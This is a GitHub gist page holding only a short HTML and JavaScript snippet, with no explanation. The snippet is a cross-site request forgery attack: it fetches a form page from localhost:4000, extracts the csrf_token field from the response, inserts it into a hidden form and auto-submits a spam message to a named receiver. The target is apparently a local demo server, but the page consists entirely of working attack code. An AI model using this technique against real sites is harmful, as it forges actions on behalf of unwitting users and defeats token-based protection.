Skip to content

Instantly share code, notes, and snippets.

@vporoshok
Created May 28, 2017 06:50
Show Gist options
  • Select an option

  • Save vporoshok/4546a1d0896863a743028f3d803a6867 to your computer and use it in GitHub Desktop.

Select an option

Save vporoshok/4546a1d0896863a743028f3d803a6867 to your computer and use it in GitHub Desktop.
<form id="form" method="post" action="http://localhost:4000/form.php">
<input name="message" value="some spam"/>
<input name="receiver" value="bob@mail.com"/>
</form>
<script>
var req = new XMLHttpRequest();
req.open('GET', 'http://localhost:4000/form.php');
req.addEventListener('readystatechange', e => {
if (req.readyState !== req.DONE) {
return;
}
var div = document.createElement('div');
div.innerHTML = req.responseText;
var input = div.querySelector('input[name="csrf_token"]');
if (input == null) {
return;
}
var form = document.getElementById('form');
form.appendChild(input);
form.submit();
});
req.send();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment